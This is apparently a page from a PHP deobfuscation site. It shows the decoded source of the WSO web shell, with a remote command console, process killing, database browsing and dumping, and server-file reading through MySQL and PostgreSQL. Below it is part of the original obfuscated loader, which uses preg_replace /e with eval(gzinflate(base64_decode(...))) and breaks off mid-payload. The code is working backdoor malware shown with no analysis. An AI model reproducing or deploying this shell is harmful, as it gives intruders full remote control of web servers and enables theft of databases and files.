<span>Using MySQL (read file)</span>
<table>
<form onsubmit=\'u("SafeMode",null,"7",this.param2.value,this.param3.value,this.param4.value,this.param5.value,this.param6.value,null);return false;\'><br>
<tr>
<td>file to read</td>
<td><font color=red>*</font> : <input type=text name=param2 value='.$_POST["param2"].'></td>
</tr>
<tr>
<td>hostname</td>
<td><font color=red>*</font> : <input type=text name=param3 value='.$_POST["param3"].'></td>
</tr>
<tr>
<td>port</td>
<td><font color=red>*</font> : <input type=text size=4 name=param4 value='.$_POST["param4"].'></td>
</tr>
<tr>
<td>username</td>
<td><font color=red>*</font> : <input type=text name=param5 value='.$_POST["param5"].'></td>
</tr>
<tr>
<td>password</td>
<td><font color=red>*</font> : <input type=text name=param6 value='.$_POST["param6"].'></td>
<td><input type=submit value=">>"></td>
</tr>
</form>
</table><br>
<span>Using MySQL (upload file)</span>
<table>
<form onsubmit=\'u("SafeMode",null,"8",this.param2.value,this.param3.value,this.param4.value,this.param5.value,this.param6.value,this.param7.value,null);return false;\' method=POST><br>
<tr>
<td>remote file</td>
<td><font color=red>*</font> : <input type=text name=param2 value='.$_POST["param2"].'></td>
</tr>
<tr>
<td>path to save</td>
<td><font color=red>*</font> : <input type=text name=param3 value='.$_POST["param3"].'></td>
</tr>
<tr>
<td>hostname</td>
<td><font color=red>*</font> : <input type=text name=param4 value='.$_POST["param4"].'></td>
</tr>
<tr>
<td>port</td>
<td><font color=red>*</font> : <input type=text size=4 name=param5 value='.$_POST["param5"].'></td>
</tr>
<tr>
<td>username</td>
<td><font color=red>*</font> : <input type=text name=param6 value='.$_POST["param6"].'></td>
</tr>
<tr>
<td>password</td>
<td><font color=red>*</font> : <input type=text name=param7 value='.$_POST["param7"].'></td>
<td><input type=submit value="Upload"></td>
</tr>
</form>
</table>
<pre class="ml1" style="display:none;margin-top:5px" id="Output"></pre>';
echo '</div>';
wsoFooter();
}
function actionConsole() {
if(!empty($_POST['p1']) && !empty($_POST['p2'])) {
WSOsetcookie(md5($_SERVER['HTTP_HOST']).'stderr_to_out', true);
$_POST['p1'] .= ' 2>&1';
} elseif(!empty($_POST['p1']))
WSOsetcookie(md5($_SERVER['HTTP_HOST']).'stderr_to_out', 0);
if(isset($_POST['ajax'])) {
WSOsetcookie(md5($_SERVER['HTTP_HOST']).'ajax', true);
ob_start();
echo "d.cf.cmd.value='';
";
$temp = @iconv($_POST['charset'], 'UTF-8', addcslashes("
$ ".$_POST['p1']."
".wsoEx($_POST['p1']),"
\'"));
if(preg_match("!.*cd\s+([^;]+)$!",$_POST['p1'],$match)) {
if(@chdir($match[1])) {
$GLOBALS['cwd'] = @getcwd();
echo "c_='".$GLOBALS['cwd']."';";
}
}
echo "d.cf.output.value+='".$temp."';";
echo "d.cf.output.scrollTop = d.cf.output.scrollHeight;";
$temp = ob_get_clean();
echo strlen($temp), "
", $temp;
exit;
}
if(empty($_POST['ajax'])&&!empty($_POST['p1']))
WSOsetcookie(md5($_SERVER['HTTP_HOST']).'ajax', 0);
wsoHeader();
echo "<script>
if(window.Event) window.captureEvents(Event.KEYDOWN);
var cmds = new Array('');
var cur = 0;
function kp(e) {
var n = (window.Event) ? e.which : e.keyCode;
if(n == 38) {
cur--;
if(cur>=0)
document.cf.cmd.value = cmds[cur];
else
cur++;
} else if(n == 40) {
cur++;
if(cur < cmds.length)
document.cf.cmd.value = cmds[cur];
else
cur--;
}
}
function add(cmd) {
cmds.pop();
cmds.push(cmd);
cmds.push('');
cur = cmds.length-1;
}
</script>";
echo '<h1>Console</h1><div class=content><form name=cf onsubmit="if(d.cf.cmd.value==\'clear\'){d.cf.output.value=\'\';d.cf.cmd.value=\'\';return false;}add(this.cmd.value);if(this.ajax.checked){a(null,null,this.cmd.value,this.show_errors.checked?1:\'\');}else{g(null,null,this.cmd.value,this.show_errors.checked?1:\'\');} return false;"><select name=alias>';
foreach($GLOBALS['aliases'] as $n => $v) {
if($v == '') {
echo '<optgroup label="-'.htmlspecialchars($n).'-"></optgroup>';
continue;
}
echo '<option value="'.htmlspecialchars($v).'">'.$n.'</option>';
}
echo '</select><input type=button onclick="add(d.cf.alias.value);if(d.cf.ajax.checked){a(null,null,d.cf.alias.value,d.cf.show_errors.checked?1:\'\');}else{g(null,null,d.cf.alias.value,d.cf.show_errors.checked?1:\'\');}" value=">>"> <nobr><input type=checkbox name=ajax value=1 '.(@$_COOKIE[md5($_SERVER['HTTP_HOST']).'ajax']?'checked':'').'> send using AJAX <input type=checkbox name=show_errors value=1 '.(!empty($_POST['p2'])||$_COOKIE[md5($_SERVER['HTTP_HOST']).'stderr_to_out']?'checked':'').'> redirect stderr to stdout (2>&1)</nobr><br/><textarea class=bigarea name=output style="border-bottom:0;margin:0;" readonly>';
if(!empty($_POST['p1'])) {
echo htmlspecialchars("$ ".$_POST['p1']."
".wsoEx($_POST['p1']));
}
echo '</textarea><table style="border:1px solid #df5;background-color:#555;border-top:0px;" cellpadding=0 cellspacing=0 width="100%"><tr><td width="1%">$</td><td><input type=text name=cmd style="border:0px;width:100%;" onkeydown="kp(event);"></td></tr></table>';
echo '</form></div><script>d.cf.cmd.focus();</script>';
wsoFooter();
}
function rglob($pattern='*', $flags = 0, $path='')
{
$paths=glob($path.'*', GLOB_MARK|GLOB_ONLYDIR|GLOB_NOSORT);
$files=glob($path.$pattern, $flags);
foreach ($paths as $path) { $files=array_merge($files,rglob($pattern, $flags, $path)); }
return $files;
}
function actionLogout() {
setcookie(md5($_SERVER['HTTP_HOST']), '', time() - 3600);
die('bye!');
}
function actionPsTable() {
wsoHeader();
echo '<h1>Process Table</h1>';
if($GLOBALS['os'] == 'win'){echo "Can't use this";}else{
if($_POST['kill_p'] && !$userkill){wsoEx("kill -9 ".$_POST['kill_p']);}
elseif($_POST['kill_p'] && $userkill){wsoEx("ps -u ".$_POST['userkill']." -o pid | grep -v \"PID\" | xargs kill -9");}
$str=`ps aux`;
# You can put here preg_match_all for other distrib/os
preg_match_all("/(?:.*?)([0-9]{1,7})(.*?)\s\s\s[0-9]:[0-9][0-9]\s(.*)/i",$str,$matches);
print '<table width="100%" cellpadding="3" cellspacing="0" border="1">
<tr>
<td width="5%"><strong><center><font color=#ffffff>Kill User</strong></font></center></td>
<td width="90%"><strong><center><font color=#ffffff>Process Name</strong></font></center></td>
<td width="5%"><strong><center><font color=#ffffff>Kill PID</strong></font></center></td>
</tr>';
for($i=0; $i<count($matches[3]); $i++){
$expl=explode(" ",$matches[0][$i]);
print "<form method=post><tr><td><center><input type=submit name=userkill value=".$expl[0]."></center></td>
<td>".$matches[3][$i]."</td>
<td><center><input type=submit name=kill_p value=".trim($matches[1][$i])."></center></td>
<input type=hidden name=a value=\"PsTable\"></center></td>
</form></tr>";
}#end of for
print "</table>";}
wsoFooter();
}
function actionSql() {
class DbClass {
var $type;
var $link;
var $res;
function DbClass($type) {
$this->type = $type;
}
function connect($host, $user, $pass, $dbname){
switch($this->type) {
case 'mysql':
if( $this->link = @mysql_connect($host,$user,$pass,true) ) return true;
break;
case 'pgsql':
$host = explode(':', $host);
if(!$host[1]) $host[1]=5432;
if( $this->link = @pg_connect("host={$host[0]} port={$host[1]} user=$user password=$pass dbname=$dbname") ) return true;
break;
}
return false;
}
function selectdb($db) {
switch($this->type) {
case 'mysql':
if (@mysql_select_db($db))return true;
break;
}
return false;
}
function query($str) {
switch($this->type) {
case 'mysql':
return $this->res = @mysql_query($str);
break;
case 'pgsql':
return $this->res = @pg_query($this->link,$str);
break;
}
return false;
}
function fetch() {
$res = func_num_args()?func_get_arg(0):$this->res;
switch($this->type) {
case 'mysql':
return @mysql_fetch_assoc($res);
break;
case 'pgsql':
return @pg_fetch_assoc($res);
break;
}
return false;
}
function listDbs() {
switch($this->type) {
case 'mysql':
return $this->query("SHOW databases");
break;
case 'pgsql':
return $this->res = $this->query("SELECT datname FROM pg_database WHERE datistemplate!='t'");
break;
}
return false;
}
function listTables() {
switch($this->type) {
case 'mysql':
return $this->res = $this->query('SHOW TABLES');
break;
case 'pgsql':
return $this->res = $this->query("select table_name from information_schema.tables where table_schema != 'information_schema' AND table_schema != 'pg_catalog'");
break;
}
return false;
}
function error() {
switch($this->type) {
case 'mysql':
return @mysql_error();
break;
case 'pgsql':
return @pg_last_error();
break;
}
return false;
}
function setCharset($str) {
switch($this->type) {
case 'mysql':
if(function_exists('mysql_set_charset'))
return @mysql_set_charset($str, $this->link);
else
$this->query('SET CHARSET '.$str);
break;
case 'pgsql':
return @pg_set_client_encoding($this->link, $str);
break;
}
return false;
}
function loadFile($str) {
switch($this->type) {
case 'mysql':
return $this->fetch($this->query("SELECT LOAD_FILE('".addslashes($str)."') as file"));
break;
case 'pgsql':
$this->query("CREATE TABLE wso2(file text);COPY wso2 FROM '".addslashes($str)."';select file from wso2;");
$r=array();
while($i=$this->fetch())
$r[] = $i['file'];
$this->query('drop table wso2');
return array('file'=>implode("
",$r));
break;
}
return false;
}
function dump($table, $fp = false) {
switch($this->type) {
case 'mysql':
$res = $this->query('SHOW CREATE TABLE `'.$table.'`');
$create = mysql_fetch_array($res);
$sql = $create[1].";
";
if($fp) fwrite($fp, $sql); else echo($sql);
$this->query('SELECT * FROM `'.$table.'`');
$i = 0;
$head = true;
while($item = $this->fetch()) {
$sql = '';
if($i % 1000 == 0) {
$head = true;
$sql = ";
";
}
$columns = array();
foreach($item as $k=>$v) {
if($v === null)
$item[$k] = "NULL";
elseif(is_int($v))
$item[$k] = $v;
else
$item[$k] = "'".@mysql_real_escape_string($v)."'";
$columns[] = "`".$k."`";
}
if($head) {
$sql .= 'INSERT INTO `'.$table.'` ('.implode(", ", $columns).") VALUES
(".implode(", ", $item).')';
$head = false;
} else
$sql .= "
,(".implode(", ", $item).')';
if($fp) fwrite($fp, $sql); else echo($sql);
$i++;
}
if(!$head)
if($fp) fwrite($fp, ";
"); else echo(";
");
break;
case 'pgsql':
$this->query('SELECT * FROM '.$table);
while($item = $this->fetch()) {
$columns = array();
foreach($item as $k=>$v) {
$item[$k] = "'".addslashes($v)."'";
$columns[] = $k;
}
$sql = 'INSERT INTO '.$table.' ('.implode(", ", $columns).') VALUES ('.implode(", ", $item).');'."
";
if($fp) fwrite($fp, $sql); else echo($sql);
}
break;
}
return false;
}
};
$db = new DbClass($_POST['type']);
if(@$_POST['p2']=='download') {
$db->connect($_POST['sql_host'], $_POST['sql_login'], $_POST['sql_pass'], $_POST['sql_base']);
$db->selectdb($_POST['sql_base']);
switch($_POST['charset']) {
case "Windows-1251": $db->setCharset('cp1251'); break;
case "UTF-8": $db->setCharset('utf8'); break;
case "KOI8-R": $db->setCharset('koi8r'); break;
case "KOI8-U": $db->setCharset('koi8u'); break;
case "cp866": $db->setCharset('cp866'); break;
}
if(empty($_POST['file'])) {
ob_start("ob_gzhandler", 4096);
header("Content-Disposition: attachment; filename=dump.sql");
header("Content-Type: text/plain");
foreach($_POST['tbl'] as $v)
$db->dump($v);
exit;
} elseif($fp = @fopen($_POST['file'], 'w')) {
foreach($_POST['tbl'] as $v)
$db->dump($v, $fp);
fclose($fp);
unset($_POST['p2']);
} else
die('<script>alert("Error! Can\'t open file");window.history.back(-1)</script>');
}
wsoHeader();
echo "
<h1>Sql browser</h1><div class=content>
<form name='sf' method='post' onsubmit='fs(this);'><table cellpadding='2' cellspacing='0'><tr>
<td>Type</td><td>Host</td><td>Login</td><td>Password</td><td>Database</td><td></td></tr><tr>
<input type=hidden name=a value=Sql><input type=hidden name=p1 value='query'><input type=hidden name=p2 value=''><input type=hidden name=c value='". htmlspecialchars($GLOBALS['cwd']) ."'><input type=hidden name=charset value='". (isset($_POST['charset'])?$_POST['charset']:'') ."'>
<td><select name='type'><option value='mysql' ";
if(@$_POST['type']=='mysql')echo 'selected';
echo ">MySql</option><option value='pgsql' ";
if(@$_POST['type']=='pgsql')echo 'selected';
echo ">PostgreSql</option></select></td>
<td><input type=text name=sql_host value=\"". (empty($_POST['sql_host'])?'localhost':htmlspecialchars($_POST['sql_host'])) ."\"></td>
<td><input type=text name=sql_login value=\"". (empty($_POST['sql_login'])?'root':htmlspecialchars($_POST['sql_login'])) ."\"></td>
<td><input type=text name=sql_pass value=\"". (empty($_POST['sql_pass'])?'':htmlspecialchars($_POST['sql_pass'])) ."\"></td><td>";
$tmp = "<input type=text name=sql_base value=''>";
if(isset($_POST['sql_host'])){
if($db->connect($_POST['sql_host'], $_POST['sql_login'], $_POST['sql_pass'], $_POST['sql_base'])) {
switch($_POST['charset']) {
case "Windows-1251": $db->setCharset('cp1251'); break;
case "UTF-8": $db->setCharset('utf8'); break;
case "KOI8-R": $db->setCharset('koi8r'); break;
case "KOI8-U": $db->setCharset('koi8u'); break;
case "cp866": $db->setCharset('cp866'); break;
}
$db->listDbs();
echo "<select name=sql_base><option value=''></option>";
while($item = $db->fetch()) {
list($key, $value) = each($item);
echo '<option value="'.$value.'" '.($value==$_POST['sql_base']?'selected':'').'>'.$value.'</option>';
}
echo '</select>';
}
else echo $tmp;
}else
echo $tmp;
echo "</td>
<td><input type=submit value='>>' onclick='fs(d.sf);'></td>
<td><input type=checkbox name=sql_count value='on'" . (empty($_POST['sql_count'])?'':' checked') . "> count the number of rows</td>
</tr>
</table>
<script>
s_db='".@addslashes($_POST['sql_base'])."';
function fs(f) {
if(f.sql_base.value!=s_db) { f.onsubmit = function() {};
if(f.p1) f.p1.value='';
if(f.p2) f.p2.value='';
if(f.p3) f.p3.value='';
}
}
function st(t,l) {
d.sf.p1.value = 'select';
d.sf.p2.value = t;
if(l && d.sf.p3) d.sf.p3.value = l;
d.sf.submit();
}
function is() {
for(i=0;i<d.sf.elements['tbl[]'].length;++i)
d.sf.elements['tbl[]'][i].checked = !d.sf.elements['tbl[]'][i].checked;
}
</script>";
if(isset($db) && $db->link){
echo "<br/><table width=100% cellpadding=2 cellspacing=0>";
if(!empty($_POST['sql_base'])){
$db->selectdb($_POST['sql_base']);
echo "<tr><td width=1 style='border-top:2px solid #666;'><span>Tables:</span><br><br>";
$tbls_res = $db->listTables();
while($item = $db->fetch($tbls_res)) {
list($key, $value) = each($item);
if(!empty($_POST['sql_count']))
$n = $db->fetch($db->query('SELECT COUNT(*) as n FROM '.$value.''));
$value = htmlspecialchars($value);
echo "<nobr><input type='checkbox' name='tbl[]' value='".$value."'> <a href=# onclick=\"st('".$value."',1)\">".$value."</a>" . (empty($_POST['sql_count'])?' ':" <small>({$n['n']})</small>") . "</nobr><br>";
}
echo "<input type='checkbox' onclick='is();'> <input type=button value='Dump' onclick='document.sf.p2.value=\"download\";document.sf.submit();'><br>File path:<input type=text name=file value='dump.sql'></td><td style='border-top:2px solid #666;'>";
if(@$_POST['p1'] == 'select') {
$_POST['p1'] = 'query';
$_POST['p3'] = $_POST['p3']?$_POST['p3']:1;
$db->query('SELECT COUNT(*) as n FROM ' . $_POST['p2']);
$num = $db->fetch();
$pages = ceil($num['n'] / 30);
echo "<script>d.sf.onsubmit=function(){st(\"" . $_POST['p2'] . "\", d.sf.p3.value)}</script><span>".$_POST['p2']."</span> ({$num['n']} records) Page # <input type=text name='p3' value=" . ((int)$_POST['p3']) . ">";
echo " of $pages";
if($_POST['p3'] > 1)
echo " <a href=# onclick='st(\"" . $_POST['p2'] . '", ' . ($_POST['p3']-1) . ")'>< Prev</a>";
if($_POST['p3'] < $pages)
echo " <a href=# onclick='st(\"" . $_POST['p2'] . '", ' . ($_POST['p3']+1) . ")'>Next ></a>";
$_POST['p3']--;
if($_POST['type']=='pgsql')
$_POST['p2'] = 'SELECT * FROM '.$_POST['p2'].' LIMIT 30 OFFSET '.($_POST['p3']*30);
else
$_POST['p2'] = 'SELECT * FROM `'.$_POST['p2'].'` LIMIT '.($_POST['p3']*30).',30';
echo "<br><br>";
}
if((@$_POST['p1'] == 'query') && !empty($_POST['p2'])) {
$db->query(@$_POST['p2']);
if($db->res !== false) {
$title = false;
echo '<table width=100% cellspacing=1 cellpadding=2 class=main style="background-color:#292929">';
$line = 1;
while($item = $db->fetch()) {
if(!$title) {
echo '<tr>';
foreach($item as $key => $value)
echo '<th>'.$key.'</th>';
reset($item);
$title=true;
echo '</tr><tr>';
$line = 2;
}
echo '<tr class="l'.$line.'">';
$line = $line==1?2:1;
foreach($item as $key => $value) {
if($value == null)
echo '<td><i>null</i></td>';
else
echo '<td>'.nl2br(htmlspecialchars($value)).'</td>';
}
echo '</tr>';
}
echo '</table>';
} else {
echo '<div><b>Error:</b> '.htmlspecialchars($db->error()).'</div>';
}
}
echo "<br></form><form onsubmit='d.sf.p1.value=\"query\";d.sf.p2.value=this.query.value;document.sf.submit();return false;'><textarea name='query' style='width:100%;height:100px'>";
if(!empty($_POST['p2']) && ($_POST['p1'] != 'loadfile'))
echo htmlspecialchars($_POST['p2']);
echo "</textarea><br/><input type=submit value='Execute'>";
echo "</td></tr>";
}
echo "</table></form><br/>";
if($_POST['type']=='mysql') {
$db->query("SELECT 1 FROM mysql.user WHERE concat(`user`, '@', `host`) = USER() AND `File_priv` = 'y'");
if($db->fetch())
echo "<form onsubmit='d.sf.p1.value=\"loadfile\";document.sf.p2.value=this.f.value;document.sf.submit();return false;'><span>Load file</span> <input class='toolsInp' type=text name=f><input type=submit value='>>'></form>";
}
if(@$_POST['p1'] == 'loadfile') {
$file = $db->loadFile($_POST['p2']);
echo '<br/><pre class=ml1>'.htmlspecialchars($file['file']).'</pre>';
}
} else {
echo htmlspecialchars($db->error());
}
echo '</div>';
wsoFooter();
}
if( empty($_POST['a']) )
if(isset($default_action) && function_exists('action' . $default_action))
$_POST['a'] = $default_action;
else
$_POST['a'] = 'SecInfo';
if( !empty($_POST['a']) && function_exists('action' . $_POST['a']) )
call_user_func('action' . $_POST['a']);
exit;
?>
Did this file decode correctly?
Original Code
<?php
preg_replace("\x2F\x2E\x2A\x2F\x65","\x65\x76\x61\x6C\x28\x67\x7A\x69\x6E\x66\x6C\x61\x74\x65\x28\x62\x61\x73\x65\x36\x34\x5F\x64\x65\x63\x6F\x64\x65\x28'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